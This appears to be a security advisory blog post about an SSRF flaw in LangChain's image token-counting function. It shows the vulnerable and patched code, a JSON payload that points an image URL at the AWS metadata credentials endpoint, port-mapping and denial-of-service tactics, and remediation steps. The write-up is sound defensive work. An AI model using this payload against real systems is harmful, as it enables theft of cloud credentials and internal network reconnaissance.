CVE-2026-26013: When Your AI Assistant Browses Your Intranet

In the modern LLM economy, tokens are currency. Developers are obsessed with counting them before sending requests to OpenAI to avoid bankruptcy. Text is easy—just count the subwords. But images? Images are tricky.

OpenAI's GPT-4o and GPT-4-turbo vision models price images based on their dimensions. A 512x512 image costs fewer tokens than a 2048x2048 one. To help developers estimate these costs locally, LangChain introduced a convenience method: get_num_tokens_from_messages().

Here is the logic: If a user sends a prompt with an image URL, LangChain grabs the image, checks the height and width, and calculates the token cost. It sounds helpful, benign even. But from a security perspective, it's a nightmare. The library was effectively saying, "Give me a URL, and I will make a server-side HTTP request to it." In the security world, we call this a 'feature' right up until it becomes a CVE.

The vulnerability (CWE-918) stems from a lack of boundary checks in the _url_to_size helper function. When you pass a message history to the token counter, LangChain iterates through it. If it spots a type: image_url, it extracts the URL and immediately fires an HTTP GET request.

There was no whitelist. There was no blacklist. There was no check to see if the IP resolved to 127.0.0.1 or the infamous 169.254.169.254 (cloud metadata). The code assumed that if you are asking to count tokens for an image, you must be pointing to a valid, public image.

This is a classic blind SSRF scenario. While the attacker might not get the content of the response back (because the code tries to parse the response as an image using Pillow), the side effects are dangerous enough. The server performs the handshake, sends the headers, and downloads the body. This allows an attacker to map internal ports (based on response time), trigger internal APIs that act on GET requests, or perform Denial of Service by pointing the tokenizer at a 10GB file.

Let's look at the vulnerable code path in libs/partners/openai/langchain_openai/chat_models/base.py. The logic was devastatingly simple. It used httpx to fetch the resource without hesitation.

Vulnerable Implementation:

def _url_to_size(image_source: str) -> tuple[int, int] | None:
    # No validation. Just fetch.
    response = httpx.get(image_source)
    response.raise_for_status()
    # Pass bytes to Pillow to get dimensions
    return Image.open(BytesIO(response.content)).size

The fix, introduced in commit 2b4b1dc29a833d4053deba4c2b77a3848c834565, is a lesson in defensive programming. The maintainers didn't just add a regex; they introduced a dedicated security module langchain_core._security._ssrf_protection.

Fixed Implementation:

from langchain_core._security._ssrf_protection import validate_safe_url
 
def _url_to_size(image_source: str) -> tuple[int, int] | None:
    try:
        # 1. Validate the URL before connection
        validate_safe_url(image_source, allow_private=False, allow_http=True)
        
        # 2. Add timeouts to prevent hanging
        with httpx.Client(timeout=5.0) as client:
            response = client.get(image_source)
            
        # 3. Check content size (50MB limit matching OpenAI)
        # ... (size checks) ...
    except (ValueError, httpx.RequestError):
        return None

The validate_safe_url function does the heavy lifting: it resolves the DNS (preventing DNS rebinding attacks) and checks if the resulting IP falls into private ranges (RFC 1918) or loopback addresses.

Exploiting this requires an application that allows user-controlled message history or uses an agent that processes external content. Imagine a "Receipt Scanner AI" that accepts image URLs.

The Attack Vector:

1. Reconnaissance: The attacker identifies that the backend is using LangChain by analyzing error messages or behavior (e.g., precise token counts returned in debug logs).
2. Payload Construction: The attacker crafts a request pretending to provide an image, but actually pointing to the AWS metadata service.

{
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "Analyze this receipt"},
        {
          "type": "image_url", 
          "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
        }
      ]
    }
  ]
}

3. Trigger: The application calls chat.get_num_tokens_from_messages(messages) to check if the prompt fits the context window.
4. Execution: LangChain sends a GET request to the metadata IP.
5. Result:
   • Best Case (for Attacker): The application throws an error containing the response body: Error: cannot identify image file <AWS_CREDENTIALS_BLOB>. This leaks the credentials directly.
   • Blind Case: The application simply errors out or hangs. The attacker repeats this with different ports (localhost:22, localhost:5432) to map the internal network topology based on response latency.

The CVSS score is 3.7 (Low) primarily because the Confidentiality impact is rated None/Low depending on the specific implementation. Since the function expects an image, it usually discards non-image data (like JSON from a metadata service) before the attacker sees it.

However, do not let the "Low" severity fool you. In a cloud environment, SSRF is a gateway drug. If an attacker can trigger requests from your backend, they can:

1. Bypass Firewalls: Access internal admin panels (e.g., Jenkins, Kubernetes API) that are whitelisted for the server's IP.
2. Cloud Enumeration: Even blind SSRF can confirm the existence of specific IAM roles or instance configurations.
3. Denial of Service: By pointing the URL to a resource that returns an infinite stream of data (like /dev/urandom exposed over HTTP), they can exhaust the memory of the Python process attempting to load it into BytesIO.

Remediation is straightforward but urgent. You must update langchain-core to version 1.2.11 or higher. The patch includes robust SSRF protections that are enabled by default.

If you cannot upgrade immediately, or if you are paranoid (which you should be), you can disable this behavior entirely in your code:

# explicitly disable fetching
token_count = chat.get_num_tokens_from_messages(
    messages, 
    allow_fetching_images=False
)

This flag forces LangChain to skip the download and use a default/fallback calculation for token usage, preventing the network request altogether. It makes your token counts slightly less accurate for images, but it keeps your internal network private. A worthy trade-off.